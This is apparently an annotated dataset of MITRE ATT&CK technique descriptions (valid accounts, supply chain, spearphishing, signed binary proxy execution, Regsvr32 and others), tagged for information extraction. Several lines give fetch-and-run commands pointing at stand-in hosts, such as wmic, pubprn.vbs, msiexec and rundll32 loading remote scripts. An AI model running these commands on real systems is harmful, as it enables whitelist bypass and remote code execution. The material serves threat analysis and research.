**<tactic>**Defense Evasion, Persistence, Privilege Escalation, Initial Access**<\tactic>**

**<TechniqueName>** Valid Accounts**<\TechniqueName>**

**<id>** T1078 **<\id>**

**<procedure>**

Adversaries may **<what>**steal**<\what>** the **<where>**credentials**<\where>** of a **<attribute>**specific user**<\attribute>** or **<attribute>**service account**<\attribute>** **<how><what>**using**<\what>** **<where>**Credential Access techniques**<\where><\how>** or **<what>**capture**<\what>** **<where>**credentials**<\where>** earlier in their reconnaissance process through **<how>**social engineering**<\how>** for means of **<why>**gaining Initial Access**<\why>**. **<\procedure>**

Accounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. [1] Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

**<procedure>**

**<attribute>**Compromised**<\attribute>** **<where>**credentials**<\where>** may be **<what>**used**<\what>** to **<why><what>**bypass**<\what>** **<where>**access controls**<\where><\why>** placed on various resources on systems within the network and may even be **<what>**used**<\what>** for **<why>**persistent access**<\why>** to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

**<\procedure>**

**<procedure>**

Default accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also **<what>**utilize**<\what>** **<attribute>**publicly disclosed**<\attribute>** **<where>**private keys**<\where>**, or **<attribute>**stolen**<\attribute>** **<where>**private keys**<\where>**, to **<why>**legitimately **<what>**connect**<\what>** to **<where>**remote environments**<\where>** **<how>**via Remote Services**<\how>** [2] **<\why>**

**<\procedure>**

The overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. [3]

**<tactic>** Initial Access**<\tactic>**

**<TechniqueName>** Trusted Relationship**<\TechniqueName>**

**<id>** T1199 **<\id>**

**<procedure>**

Adversaries may breach or otherwise leverageorganizations who have access**<\condition>** to intended victims. **<how>**Access through trusted third party relationship**<\how>** **<what>**exploits**<\what>** an **<attribute>**existing**<\attribute>** **<where>**connection**<\where>** that may not be **<when>**protected or receives less scrutiny**<\when>** than standard mechanisms of **<why><what>**gaining**<\what>** access to a **<where>**network**<\where><\why>**. **<\procedure>**

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, **<procedure><how><where>**Valid Accounts**<\where>** **<what>**used**<\what><\how>** by the other party for **<what>**access**<\what>** to internal **<where>**network system**<\where>**s may be compromised and used. **<\procedure>**

**<tactic>** Initial Access**<\tactic>**

**<TechniqueName>** Supply Chain Compromise**<\TechniqueName>**

**<id>** T1195 **<\id>**

Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

**<procedure>**

**<what>**Manipulation**<\what>** of **<where>**development tools**<\where>**

**<what>**Manipulation**<\what>** of a **<where>**development environment**<\where>**

**<what>**Manipulation**<\what>** of **<where>**source code repositories**<\where>** (public or private)

**<what>**Manipulation**<\what>** of **<where>**source code**<\where>** in **<attribute>**open-source dependencies**<\attribute>**

**<what>**Manipulation**<\what>** of **<where>**software update**<\where>**/**<where>**distribution mechanisms**<\where>**

**<what>**Compromised**<\what>**/**<what>**infected**<\what>** **<where>**system images**<\where>** (multiple cases of removable media infected at the factory)

**<what>**Replacement**<\what>** of legitimate **<where>**software**<\where>** with **<when>**modified versions**<\when>**

**<what>**Sales**<\what>** of **<attribute>**modified**<\attribute>**/**<attribute>**counterfeit**<\attribute>** **<where>**products**<\where>** to legitimate distributors

Shipment interdiction

**<\procedure>**

**<procedure>**

While supply chain compromise can impact any component of hardware or software, attackers looking to **<why><what>**gain**<\what>** execution**<\why>** have often focused on **<attribute>**malicious**<\attribute>** **<what>**additions**<\what>** to legitimate **<where>**software**<\where>** in software distribution or update channels. [1] [2] [3] Targeting may be specific to a desired victim set [4] or **<attribute>**malicious**<\attribute>** **<where>**software **<\where>** may be **<what>**distributed**<\what>** to a broad set of consumers but only move on to additional tactics on specific victims. [1] [3] Popular **<where>**open source projects**<\where>** that are used as dependencies in many applications may also be **<what>**targeted**<\what>** as a means to **<why><what>**add**<\what>** **<attribute>**malicious**<\attribute>** **<where>**code**<\where><\why>** to users of the dependency. [5] **<\procedure>**

**<tactic>** Initial Access**<\tactic>**

**<TechniqueName>** Spearphishing via Service**<\TechniqueName>**

**<id>** T1192**<\id>**

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

**<procedure>**

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries **<what>**send**<\what>** **<where>**messages**<\where>** through various **<how>**social media services**<\how>**, **<how>**personal webmail**<\how>**, and other **<how>**non-enterprise controlled services**<\how>**. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to **<why><what>**generate**<\what>** **<where>**rapport**<\where>** with the target**<\why>** or **<why><what>**get**<\what>** the target's interest**<\why>** in some way. **<conjunctive>**Adversaries will **<what>**create**<\what>** **<attribute>**fake**<\attribute>** **<where>**social media accounts**<\where>** and **<what>**message**<\what>** **<where>**employees**<\where>** for **<why>**potential job opportunities**<\why>**. Doing so allows a plausible reason for **<why>**asking about services, policies, and software that's running in an environment**<why>**. The adversary can then **<what>**send**<\what>** **<attribute>**malicious**<\attribute>** **<where>**links**<\where>** or **<where>**attachments**<\where>** through these **<how>**services**<\how>**.**<\conjunctive><\procedure>**

**<procedure>**

**<conjunctive>**A common example is to **<what>**build**<\what>** **<where>**rapport**<\where>** with a **<attribute>**target**<\attribute>** via **<how>**social media**<\how>**, then **<what>**send**<\what>** **<where>**content**<\where>** to a **<attribute>**personal webmail service**<\attribute>** that the target uses on their work computer. This allows an adversary to **<why><what>**bypass**<\what>** some **<where>**email restrictions**<\where>** on the work account**<\why>**, **<\conjunctive>** and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working. **<\procedure>**

**<tactic>** Initial Access**<\tactic>**

**<TechniqueName>** Spearphishing Link**<\TechniqueName>**

**<id>** T1192**<\id>**

**<procedure>**

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the **<what>**use**<\what>** of **<where>**links**<\where>** to **<why><what>**download**<\what>** **<where>**malware**<\where>** contained in email**<\why>**, instead of attaching malicious files to the email itself, to **<why><what>**avoid**<\what>** **<where>**defenses**<\where>** that may inspect email attachments**<\why>**.

**<\procedure>**

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, **<procedure>** the **<where>**links**<\where>** will be **<what>**accompanied**<\what>** by **<how>**social engineering text**<\how>** and require the **<when>**user to **<condition>**actively click**<\condition><\when>** or **<when><condition>**copy and paste**<\condition>** a **<object>**URL**<\object>**into a browser**<\when>**, **<how>**leveraging User Execution**<\how>**. The visited website may **<what>**compromise**<\what>** the **<where>**web browser**<\where>** **<how><what>**using**<\what>** an **<where>**exploit**<\where><\how>**, or the **<where>**user**<\where>** will be **<what>**prompted**<\what>** to **<why>**download applications, documents, zip files, or even executables**<\why>** depending on the pretext for the email in the first place. Adversaries may also **<what>**include**<\what>** **<where>**links**<\where>** that are intended to **<why><what>**interact**<\what>** directly with an **<where>**email reader**<\where><\why>**, including embedded images intended to **<why><what>**exploit**<\what>** the **<where>**end system**<\where>** directly**<\why>** or **<why><what>**verify**<\what>** the **<where>**receipt**<\where>** of an email **<\why>** (i.e. web bugs/web beacons).**<\procedure>**

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** XSL Script Processing**<\TechniqueName>**

**<id>** T1220**<\id>**

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. [1]

**<procedure>**

Adversaries may **<what>**abuse**<\what>** this **<where>**functionality**<\where>** to **<why><what>**execute**<\what>** **<where>**arbitrary files**<\where><\why>** while potentially **<why><what>**bypassing**<\what>** **<where>**application whitelisting defenses**<\where><\why>**. Similar to **<how\_alt>**Trusted Developer Utilities**<\how\_alt>**, **<conjunctive>**the **<where>**Microsoft common line transformation utility binary (msxsl.exe) **<\where>** [2] can be **<what>**installed**<\what>** and **<what>**used**<\what>** to **<why><what>**execute**<\what>** malicious **<where>**JavaScript**<\where><\why>** embedded within local or remote (URL referenced) XSL files. [3] Since msxsl.exe is not installed by default, an adversary will likely need to **<when>**package it with dropped files**<\when>**. [4]

Command-line example: [3]

**<how>**msxsl.exe customers[.]xml script[.]xsl**<\how>**

**<\conjunctive>**

**<\procedure>**

**<procedure>**

Another variation of this technique, dubbed "Squiblytwo", involves **<what>**using**<\what>** **<where>**Windows Management Instrumentation**<\where>** to **<why><what>**invoke**<\what>** **<where>**JScript or VBScript**<\where>** within an **<attribute>**XSL file**<\attribute><\why>**. [5] This technique can also **<what>**execute**<\what>** **<attribute>**local/remote**<\attribute>** **<where>**scripts**<\where>** and, similar to its **<how>**Regsvr32**<\how>**/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool.

Command-line examples: [5]

Local File: **<how>**wmic process list /FORMAT:evil[.]xsl**<\how>**

Remote File: **<how>**wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"**<\how>**

**<\procedure>**

**<tactic>** Execution, Lateral Movement**<\tactic>**

**<TechniqueName>** Windows Remote Management**<\TechniqueName>**

**<id>** T1028**<\id>**

**<procedure>**

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., **<what>**run**<\what>** an **<where>**executable**<\where>**, **<what>**modify**<\what>** the **<where>**Registry**<\where>**, **<what>**modify**<\what>** **<where>**services**<\where>**). [1] It may be called with the **<how>**winrm command**<\how>** or by any number of programs such as **<how>**PowerShell. **<\how><\procedure>**

[2]

**<tactic>** Execution **<\tactic>**

**<TechniqueName>** Windows Management Instrumentation**<\TechniqueName>**

**<id>** T1047**<\id>**

Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) [1] and Remote Procedure Call Service (RPCS) [2] for remote access. RPCS operates over port 135. [3]

**<procedure>**

An adversary can **<what>**use**<\what>** **<where>**WMI**<\where>** to **<why><what>**interact**<\what>** with **<attribute>**local and remote**<\attribute>** **<where>**systems**<\where><\why>** and use it as a means to perform many tactic functions, such as **<why><what>**gathering**<\what>** **<where>**information**<\where>** for Discovery**<\why>** and **<why>**remote **<what>**Execution **<\what>**of **<where>**files**<\where>** **<\why>**as part of Lateral Movement**<\procedure>**

. [4]

**<tactic>** Execution **<\tactic>**

**<TechniqueName>** User Execution**<\TechniqueName>**

**<id>** T1204**<\id>**

An adversary may rely upon specific actions by a user in order to gain execution. **<procedure>**This may be direct **<where>**code**<\where>** **<what>**execution**<\what>**, such as when a **<when>**user **<condition>**opens a malicious **<object>**executable**<\object>** delivered via Spearphishing Attachment**<\condition><\when>** with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as **<when>**when a **<condition>**user clicks on a **<object>**link**<\object>** delivered via Spearphishing Link**<\condition>** **<\when>**that leads to **<why><what>**exploitation**<\what>** of a **<where>**browser or application vulnerability**<\where><\why>** via **<how>**Exploitation for Client Execution**<\how>**. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an **<when>**adversary **<condition>**places a **<object>**file**<\object>** in a shared directory or on a user's desktop**<\condition><\when>** hoping that a user will click on it. **<\procedure>**

**<tactic>** Defense Evasion, Execution **<\tactic>**

**<TechniqueName>** Trusted Developer Utilities**<\TechniqueName>**

**<id>** T1127**<\id>**

There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

MSBuild

MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. [1]

**<procedure>**

Adversaries can **<what>**use**<\what>** **<where>**MSBuild**<\where>** to **<why>**proxy execution of code**<\why>** through a **<how>**trusted Windows utility**<\how>**. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. [1] Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. **<\procedure>**

[2]

DNX

The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. [3] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.

**<procedure>**

An adversary can **<what>**use**<\what>** **<where>**dnx.exe**<\where>** to **<why>**proxy **<what>**execution**<\what>** of arbitrary **<where>**code**<\where><\why>** to **<why><what>**bypass**<\what>** **<where>**application whitelist policies**<\where><\why>** that do not account for DNX. **<\procedure>**

[4]

RCSI

The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. [5] The rcsi.exe binary is signed by Microsoft. [6]

C# .csx script files can be written and executed with rcsi.exe at the command-line. **<procedure>**An adversary can **<what>**use**<\what>** **<where>**rcsi.exe**<\where>** to **<why>**proxy **<what>**execution**<\what>** of arbitrary **<where>**code**<\where><\why>** to **<why><what>**bypass**<\what>** **<where>**application whitelisting policies**<\where><\why>** that do not account for execution of rcsi.exe. **<\procedure>** [6]

WinDbg/CDB

WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. [7] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

**<procedure>**An adversary can **<what>**use**<\what>** **<where>**WinDbg.exe**<\where>** and **<where>**cdb.exe**<\where>** to **<why>**proxy **<what>**execution**<\what>** of arbitrary **<where>**code**<\where><\why>** to **<why><what>**bypass**<\what>** **<where>**application whitelist policies**<\where><\why>** that do not account for execution of those utilities. **<\procedure>** [8]

It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

Tracker

The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. [9]

**<procedure>**An adversary can **<what>**use**<\what>** **<where>**tracker.exe**<\where>** to **<why>**proxy **<what>**execution**<\what>** of an arbitrary **<where>**DLL**<\where>** into another **<attribute>**process**<\attribute><\why>**. Since tracker.exe is also signed it can be used to **<why><what>**bypass**<\what>** **<where>**application whitelisting solutions**<\where><\why>**. **<\procedure>** [10]

**<tactic>** Execution, Persistence**<\tactic>**

**<TechniqueName>** Trap**<\TechniqueName>**

**<id>** T1154**<\id>**

**<procedure>**The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can **<what>**use**<\what>** **<where>**this(trap)**<\where>** to **<why><what>**register**<\what>** **<where>**code**<\where>** to be executed**<\why>** when the **<when>**shell encounters specific interrupts**<\when>** either to gain execution or as a persistence mechanism. Trap commands are of the following format **<how>**trap 'command list'signals**<\how>** where "command list" will be executed when "signals" are received**<\procedure>**.

**<tactic>** Execution, Lateral Movement**<\tactic>**

**<TechniqueName>** Third-party Software**<\TechniqueName>**

**<id>** T1072**<\id>**

**<procedure>**Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an **<when>**adversary **<condition>**gains access**<\condition>** to these **<object>**systems**<\object><\when>**, then they may be able to execute code.

**<conjunctive>**Adversaries may **<what>**gain access**<\what>** to and **<what>**use**<\what>** **<where>**third-party application deployment systems**<\where>** installed within an enterprise network. **<\conjunctive>** Access to a network-wide or enterprise-wide software deployment system enables an adversary to have **<why>**remote **<where>**code**<\where>** **<what>**execution**<\what>** on all systems that are connected to such a system**<\why>**. The **<where>**access**<\where>** may be **<what>**used**<\what>** to **<why>**laterally move to systems**<\why>**, **<why>**gather information**<\why>**, or **<why>**cause a specific effect**<\why>**, such as **<why>**wiping the hard drives on all endpoints**<\why>**.

The permissions required for this action vary by system configuration; **<when>**local credentials may be sufficient with direct access to the deployment server**<\when>**, or **<when>**specific domain credentials may be required**<\when>**. However, the system may require an **<when>**administrative account to log in or to perform software deployment. **<\when> <\procedure>**

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Space after Filename**<\TechniqueName>**

**<id>** T1151**<\id>**

**<procedure>**Adversaries can **<what>**hide**<\what>** a program's true **<where>**filetype**<\where>** by **<how><what>**changing**<\what>** the **<where>**extension**<\where>** of a file**<\how>**. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed [1].

Adversaries can **<what>**use**<\what>** **<where>**this feature**<\where>** to **<why>**trick users into double clicking benign-looking files**<\why>** of any format and ultimately executing something malicious. **<\procedure>**

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Source**<\TechniqueName>**

**<id>** T1153**<\id>**

**<procedure>**The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways **<how>**source /path/to/filename [arguments] **<\how>** or**<how>** . /path/to/filename [arguments] **<\how>**. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.

Adversaries can **<what>**abuse**<\what>** **<where>**this functionality**<\where>** to **<why>**execute programs**<\why>**. The file executed with this technique does not need to be marked executable beforehand. **<\procedure>**

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Signed Script Proxy Execution**<\TechniqueName>**

**<id>** T1216**<\id>**

**<procedure><where>**Scripts**<\where>** **<attribute>**signed with trusted certificates**<\attribute>** can be **<what>**used**<\what>** to **<why>**proxy **<what>**execution**<\what>** of malicious **<where>**files**<\where><\why>**. This behavior may **<why><what>**bypass**<\what>** **<where>**signature validation restrictions**<\where>** and **<where>**application whitelisting solutions**<\where>** **<\why>**that do not account for use of these scripts. **<\procedure>**

**<procedure><where>**PubPrn.vbs**<\where>** is signed by Microsoft and can be **<what>**used**<\what>** to **<why>**proxy **<what>**execution**<\what>** from a remote site**<\why>**. [1] Example command: **<how>**cscript C[:]\Windows\System32\Printing\_Admin\_Scripts\en-US\pubprn[.]vbs 127.0.0.1 **<\how><how>**script:http[:]//192.168.1.100/hi.png**<\how>**

There are several other signed scripts that may be used in a similar manner. [2] **<\procedure>**

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Signed Binary Proxy Execution**<\TechniqueName>**

**<id>** T1218**<\id>**

**<procedure>**Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several **<where>**Microsoft signed binaries**<\where>** that are default on Windows installations can be **<what>**used**<\what>** to **<why>**proxy **<what>**execution**<\what>** of other **<where>**files**<\where><\why>**. This behavior may be abused by adversaries to **<why><what>**execute**<\what>** malicious **<where>**files**<\where><\why>** that could **<why><what>**bypass**<\what>** **<where>**application

whitelisting**<\where>** and **<where>**signature validation**<\where>** on systems**<\why>**. This technique accounts for proxy execution methods that are not already accounted for within the

existing techniques. **<\procedure>**

Msiexec.exe

**<procedure>**Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may **<what>**use**<\what>** **<where>**msiexec.exe**<\where>** to **<why><what>**launch**<\what>** malicious **<where>**MSI files**<\where><\why>** for **<why><where>**code**<\where>** **<what>**execution**<\what><\why>**. An adversary may **<what>**use**<\what>** **<where>**it(Msiexec.exe)**<\where>** to **<why><what>**launch**<\what>** local or network accessible **<where>**MSI files**<\where><\why>**.[1][2][3] **<where>**Msiexec.exe**<\where>** may also be **<what>**used**<\what>** to **<why><what>**execute**<\what>** **<where>**DLLs**<\where><\why>**.[1]

**<how>**msiexec.exe /q /i "C:\path\to\file.msi"**<\how>**

**<how>**msiexec.exe /q /i http[:]//site[.]com/file.msi**<\how>**

**<how>**msiexec.exe /y "C:\path\to\file.dll"**<\how>**

**<\procedure>**

Mavinject.exe

**<procedure>**

Mavinject.exe is a Windows utility that allows for code execution. **<where>**Mavinject**<\where>** can be **<what>**used**<\what>** to **<why><what>**input**<\what>** a **<where>**DLL**<\where>** into a running process**<\why>**. [4]

**<how>**"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>**<\how>**

**<how>**C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>**<\how>**

**<\procedure>**

SyncAppvPublishingServer.exe**<\how>**

**<procedure><where>**SyncAppvPublishingServer.exe**<\where>** can be **<what>**used**<\what>** to **<why><what>**run**<\what>** **<where>**PowerShell scripts**<\where>** without executing powershell.exe**<\why>**. [5] **<\procedure>**

Odbcconf.exe

**<procedure>**Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.[6] The **<where>**utility(Odbcconf.exe

)**<\where>** can be **<what>**misused **<\what>** to **<why><what>**execute**<\what>** **<where>**functionality equivalent to Regsvr32**<\where><\why>** with the **<how>**REGSVR option**<\how>** to **<why><what>**execute**<\what>** a **<where>**DLL**<\where><\why>**.[7][8][9]

**<how>**odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}**<\how>**

Several other binaries exist that may be used to perform similar behavior. [10] **<\procedure>**

**<tactic>** Execution**<\tactic>**

**<TechniqueName>** Service Execution**<\TechniqueName>**

**<id>** T1035**<\id>**

**<procedure>**Adversaries may **<what>**execute**<\what>** a **<where>**binary**<\where>**, **<where>**command**<\where>**, or **<where>**script**<\where>** via a **<how>**method that **<what>**interacts**<\what>** with **<where>**Windows services**<\where>**, such as the **<where>**Service Control Manager**<\where><\how>**. This can be done by either **<how><what>**creating**<\what>** a new **<where>**service**<\where><\how>** or **<how><<what>**modifying**<\what>** an existing **<where>**service**<\where><\how>**. This technique is the execution used in conjunction with **<how\_alt>**New Service**<\how\_alt>** and **<how\_alt>**Modify Existing Service**<\how\_alt>** during service persistence or privilege escalation**<\procedure>**.

**<tactic>** Defense Evasion, Execution **<\tactic>**

**<TechniqueName>** Scripting **<\TechniqueName>**

**<id>** T1064**<\id>**

**<procedure>**Adversaries may **<what>**use**<\what>** **<where>**scripts**<\where>** to **<why><what>**aid**<\what>** in operations**<why>** and **<why><what>**perform**<\what>** multiple actions that would otherwise be manual**<\why>**. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some **<where>** scripting languages**<\where>** may be **<what>**used**<\what>** to **<why><what>**bypass**<\what>** **<where>**process monitoring mechanisms**<\where><\why>** by **<how>**directly **<what>**interacting**<\what>** with the **<where>**operating system**<\where>** at an API level **<\how>**instead of calling other programs. Common scripting languages for Windows include **<where>**VBScript**<\where>** and **<where>**PowerShell**<\where>** but could also be in the form of **<where>**command-line batch scripts**<\where>**.**<\procedure>**

**<procedure><where>**Scripts**<\where>** can be **<what>**embedded**<\what>** inside **<attribute>**Office documents as macros**<\attribute>** that can be set to execute when **<when>**files used in Spearphishing Attachment and other types of spearphishing are opened**<\when>**. Malicious embedded macros are an alternative means of execution than software exploitation through **<how>**Exploitation for Client Execution**<\how>**, where **<when>**adversaries will rely on **<condition><object>**macros**<\object>** being allowed**<\condition><\when>** or that the **<when>**user will **<condition>**accept to activate **<\condition>**them**<\when>**.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. **<how>**Metasploit **<\how>** [1], **<how>**Veil**<\how>** [2], and **<how>**PowerSploit **<\how>** [3] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to **<how><what>**use**<\what>** **<where>**PowerShell**<\where><\how>**. [4] **<\procedure>**

**<tactic>** Execution, Persistence, Privilege Escalation**<\tactic>**

**<TechniqueName>** Scheduled Task **<\TechniqueName>**

**<id>** T1053**<\id>**

**<procedure>**Utilities such as **<how>**at**<\how>** and **<how>**schtasks**<\how>**, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. **<when>**Scheduling a task on a remote system typically required being a **<condition>**member of the **<object>**Administrators group**<\object><\condition>** on the the remote system. [1] **<\when>**

An adversary may **<what>**use**<\what>** **<where>**task scheduling**<\where>** to **<why>**execute programs at system startup or on a scheduled basis for persistence**<\why>**, to **<why>**conduct remote Execution as part of Lateral Movement**<\why>**, to **<why>**gain SYSTEM privileges**<\why>**, or to **<why>**run a process under the context of a specified account**<\why><\procedure>**.

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Rundll32**<\TechniqueName>**

**<id>** T1085**<\id>**

**<procedure>**The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may **<what>**take advantage**<\what>** of **<where>**this functionality(rundll32.exe) **<\where>** to **<why>**proxy **<what>**execution**<\what>** of **<where>**code**<\where><\why>** to **<why>**avoid **<what>**triggering**<\what>** **<where>**security tools**<\where><\why>** that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. **<\procedure>**

**<procedure><where>**Rundll32.exe**<\where>** can be **<what>**used**<\what>** to **<why><what>**execute**<\what>** **<where>**Control PanelItem files (.cpl) **<\where>** **<\why>** through the **<how>**undocumented shell32.dll functions Control\_RunDLL and Control\_RunDLLAsUser**<\how>**. Double-clicking a .cpl file also causes rundll32.exe to execute. [1] **<\procedure>**

**<procedure><where>**Rundll32**<\where>** can also been **<what>**used**<\what>** to **<why><what>**execute**<\what>** **<where>**scripts**<\where>** such as **<where>**JavaScript**<\where><\why>**. This can be done using a syntax similar to this: **<how>**rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" **<\how>**This behavior has been seen used by malware such as Poweliks. [2] **<\procedure>**

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Regsvr32**<\TechniqueName>**

**<id>** T1117**<\id>**

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. [1]

**<procedure>**Adversaries may **<what>**take advantage**<\what>** of **<where>**this functionality(Regsvr32.exe)**<\where>** to **<why>**proxy **<what>**execution**<\what>** of **<where>**code**<\where><\why>** to **<why>**avoid **<what>**triggering**<\what>** **<where>**security tools**<\where><\why>** that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. **<\procedure>**

**<procedure><where>**Regsvr32.exe**<\where>** can also be **<what>**used**<\what>** to specifically **<why><what>**bypass**<\what>** **<where>**process whitelisting**<\where><\why>** **<how><what>**using**<\what>** **<where>**functionality to load COM scriptlets**<\where><\how>** to **<why><what>**execute**<\what>** **<where>**DLLs**<\where>** under user permissions**<\why>**. Since regsvr32.exe is network and proxy aware, the **<where>**scripts**<\where>** can be **<what>**loaded**<\what>** by **<how><what>**passing**<\what>** a **<where>**uniform resource locator (URL) **<\where>** to **<attribute>**file**<\attribute>** on an external Web server as an argument during invocation**<\how>**. This method makes no changes to the Registry as the COM object is not actually registered, only executed. [2] This variation of the technique is often referred to as a **<how\_alt>**"Squiblydoo" attack**<\how\_alt>** and has been used in campaigns targeting governments. [3] [4] **<\procedure>**

**<procedure><where>**Regsvr32.exe**<\where>** can also be **<what>**leveraged**<\what>** to **<why><what>**register**<\what>** a **<where>**COM Object**<\where>** used to establish Persistence**<\why>** via **<how>**Component Object Model Hijacking. **<\how>** [3] **<\procedure>**

**<tactic>** Persistence**<\tactic>**

**<TechniqueName>** Winlogon Helper DLL**<\TechniqueName>**

**<id>** T1004**<\id>**

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. [1]

**<procedure>**Malicious **<what>**modifications**<\what>** to these **<where>**Registry keys**<\where>** may cause Winlogon to **<why><what>**load**<\what>** and **<what>**execute**<\what>** malicious **<where>**DLLs**<\where>** and/or **<where>**executables**<\where><\why>**. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: [1]

**<attribute>**Winlogon\Notify**<\attribute>** - points to notification package DLLs that handle Winlogon events

